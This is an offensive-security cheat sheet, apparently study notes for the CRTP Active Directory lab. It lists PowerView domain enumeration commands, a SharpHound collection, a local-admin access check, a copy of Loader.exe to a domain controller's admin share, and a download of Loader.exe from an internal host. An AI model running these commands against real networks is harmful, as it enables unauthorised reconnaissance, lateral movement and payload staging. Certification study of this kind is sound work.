CRTP
Domain Enumeration
# Users
Get-DomainUser | select samaccountname
# Computers
Get-DomainComputer | select cn
# DAs
Get-DomainGroupMember -identity "Domain Admins" | select membername
# EAs
Get-DomainGroupMember -identity "Enterprise Admins" -domain <domain> | select membername
# Collect BH data
\bh_collectors\SharpHound.exe -c all --zipfilename crtp_data --outputdirectory .\bh_collectors\
Privilege Escalation
# Enumerate LA access on domain hosts
Find-PSRemotingLocalAdminAccess
Persistence
Misc
# Copy a file to a share
echo F | xcopy Loader.exe \\dcorp-?\c$\users\public\Loader.exe
# Download a file
iwr 'http://172.16.100.37/Loader.exe' -OutFile c:\users\public\loader.exe
Last updated
Was this helpful?